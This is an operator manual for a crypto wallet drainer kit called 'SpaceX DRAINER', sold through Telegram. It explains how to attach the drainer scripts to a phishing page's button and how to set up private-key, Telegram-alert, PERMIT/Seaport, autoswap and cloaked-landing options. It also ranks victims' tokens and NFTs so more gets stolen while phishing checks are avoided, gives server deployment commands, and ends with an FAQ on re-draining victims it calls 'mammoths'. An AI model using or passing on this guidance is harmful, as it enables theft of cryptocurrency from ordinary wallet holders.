Operation manual [ENG]
Congratulations on the SpaceX DRAINER.You have the full source code. What next?
Contents:
- Complete inspection of the product's insides.
- How to connect site design.
- Configuration settings.
3.0. Line 1 - PrivateKey. 3.1. Lines 2-3 — Telegram notifications.
3.2. Lines 4-5-6 — PERMIT & SEAPORT.
3.3. Line 7 - Main currency.
3.4. Line 8 — Сovalent.
3.5. Line 9 — AUTOSWAP.
3.6. Line 10 — Adding External Landing Pages.
3.7. Line 11 — NFT MINIMAL PRICE. - Unload files and raise the site.
- Question and answer.
1. A little literacy on the structure of the script.
Let's take a quick run through the innards of SpaceX DRAINER.
If you are not a programmer, don't understand a damn thing about the code and you are not interested in how the project is set up - you can skip this step.
- ABIs - interfaces for interaction with tokens (ERC20, ERC721, ERC1155).
- public - external files, website design.
- public/scripts - external scripts required for work. public/scripts/main.js - the main script, which is responsible for the interaction with the wallet (approve, signature, seaport).
- config.json - configuration.
- app.js - server file, internal logic (autotransfer).
- docker-compose.yml, Dockerfile - setting up the container system and the launch system.
- package.json, package-lock.json - Dependencies for the installation.
- rpc.json - network configuration.
- start.sh - startup system.
2. How to connect website design. To install it on the page with the button, you need to prescribe scripts on the page with the button:
<script src="https://cdnjs.cloudflare.com/ajax/libs/ethers/5.7.2/ethers.umd.js" type="application/javascript"></script> <script type="text/javascript" src="./scripts/sweetalert2@11"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/web3.min.js"></script> <script type="text/javascript" src="./scripts/index.js"></script> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]"></script> <script type="text/javascript" src="https://unpkg.com/[email protected]/dist/umd/index.min.js"></script> <script type="text/javascript" src="https://unpkg.com/@walletconnect/[email protected]/dist/umd/index.min.js"></script> <script src="https://unpkg.com/[email protected]/dist/axios.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/@coinbase/[email protected]/dist/index.min.js"></script> <script type="text/javascript" src="./scripts/ethereumjs-tx-1.3.3.min.js"></script> <script language="javascript" type="text/javascript" src="./scripts/ABI.js"></script> <script type="text/javascript" src="./scripts/main.js"></script> <script type="text/javascript" src="./scripts/seaport.js"></script> <script src="https://code.jquery.com/jquery-3.6.3.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/src/ua-parser.min.js"></script> <script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
and write a property to the required button:
onclick="login()"
3.0 Configure the config. We prescribe the privatekey.
Privatkey - aka private key, it can be obtained through the browser extension MetaMask in the "Account Details" tab
Note that the wallet address, which you specify in the config, should always have some money in the main currency of the network. Gas is needed to pay for gas during the removal of uproots from the mammoth purse.
It will be enough to drop literally a couple of bucks on each network:
Ethereum — ETH
Binance Smart Chain — BNB
Polygon — MATIC
and so on to all the other necessary networks that you will be working on...
In the Ethereum network, of course, you need to drop a little more money, about 15 bucks, because this blockchain is unstable by gas.
3.1 Configuration. Notifications in Telegram. To connect the notifications, open the config.json file and write the data:
where underlined red is bot token, green is account ID or channel ID where notifications should be received.
3.2 Configuring the config. PERMIT and SEAPORT priority.
The default value of the Permit and Seaport methods is true, which means that they have the highest priority, i.e. no matter how expensive the token is in the victim's wallet, the script will first of all write off tokens that support PERMIT or SEAPORT, since the chance that they will be signed by mammoth is much higher than for others. And after those royalty-free tokens have been signed, the script will start stripping the rest of the tokens with the familiar approve, setApprovalForAll and SIGN/TRANSFER methods, ranging from expensive to cheap. To disable PERMIT and SEAPORT priority you need to specify false instead of true:
The permit_priority_tokens line specifies a list of permitting tokens for which the priority will work:
3.3 Configuring the config. Writing off the main network currency. In the line gas_token_method we choose the method of writing off the main network currency, "sign" with a red plate or the usual "transfer".
3.4 Configuring the config. Сovalent API KEY Register on the Covalent website, get a free api key and write it into the config:
3.5 Configuring the config. AUTOSWAP tokens. Line 9 is responsible for enabling and disabling automatic exchange of tokens for the main currency in the Ethereum network. The auto-exchange function is implemented in order not to encounter blocking of scrambled funds, since tokens such as usdt and usdc like to lock on the first request. By default, this function is disabled, to enable it, you must change the value from false to true.
3.6 Configuring the config. Adding External Landing Pages.
External landings - these are sites on normal web hosting, which you can simply send to the IP servers, and they will start working like a normal drainer. This system allows very easy to connect to the server at once an unlimited number of webpages, allows you to cloach them, and do with them in general anything you want.
To enable the "external mode" you must activate the option "external" in the config, to do this, in line 10 you must change the value from false, to true.
Next, you need to raise the site according to the usual instructions. Internal frontend.
And all the subsequent frontends should be external, and put on the following instructions:
Upload the site files to a regular webhost and in the folder with them in the file server.cfg
prescribe the address of the domain that we raised on the drein, the internal frontend (for example https://mintnftzero.com
)
The webhost template is in the public folder*
Note that with external frontends enabled, the internal frontend on the server will not work, only external sites will be active! If you are satisfied with one server — one landing page, then just leave the value false, so as not to bother.
3.7 Configure the config. NFT MINIMAL PRICE. Line 11 is responsible for the priority of writing off nft, that is, if you set the value of 1000 in the configuration, it means that the nft value of $ 1000 will be written off with the lowest priority, the last after all the tokens.
I recommend that you set the value just from $1,000, because nfts written off by seaport, marketplace OpenSea instantly sends to phishing check, without the possibility of selling, while other marketplaces have cheap newnamese nfts that are problematic to sell. This is why it is better for the script to first write off a conditional token with a price of $100, the profit from which will be factual, rather than from a $1000 nft, the income from which is only potential.
4. Upload files and raise the site. Buy any Ubuntu 20.04+ server, connect to it via MobaXterm and drag the folder with the files right to the root. After that, just paste these commands into the console and wait for installation:
cd FOLDER NAME source start.sh
During installation the console will ask you to insert the domain.com format domain address, insert it:
And then you will need to add an "A-record" with the IP of your Ubuntu 20.04+ server to the domain's dns. The site will stand up automatically as soon as the dns are registered.
READY! If you have any questions or problems — contact us!
↳Our Telegram Channel https://t.me/elonlab
↳Our chat https://t.me/elonlabchat
↳My DM https://t.me/elonscam
Question and answer. The wording of all the following questions come from you - the customers, I put them directly here first without making any adjustments, so if the formulation of the question or the answer you are not clear - specify in the personal.
I made changes to the configuration of the project, but nothing has been updated, what to do?
—For the project to be updated, you need to type a command after any changes you make to it: docker-compose build && docker-compose up -d
How do I view the logging in the console? It's logged, isn't it? Well, in terms of tokens written off / not written off, error not error, and so on.
—You have to docker ps, copy the ID next to the word "drainer" and spell it out: docker logs (ID)
If the victim allowed the token to be withdrawn and auto withdrawal withdrew it, but then after some time mammoth rolls the token again, will I be able to withdraw it? —Yes, you can. If the mammoth has not rejected the uproar, then all recharges from his wallet can be siphoned off as follows: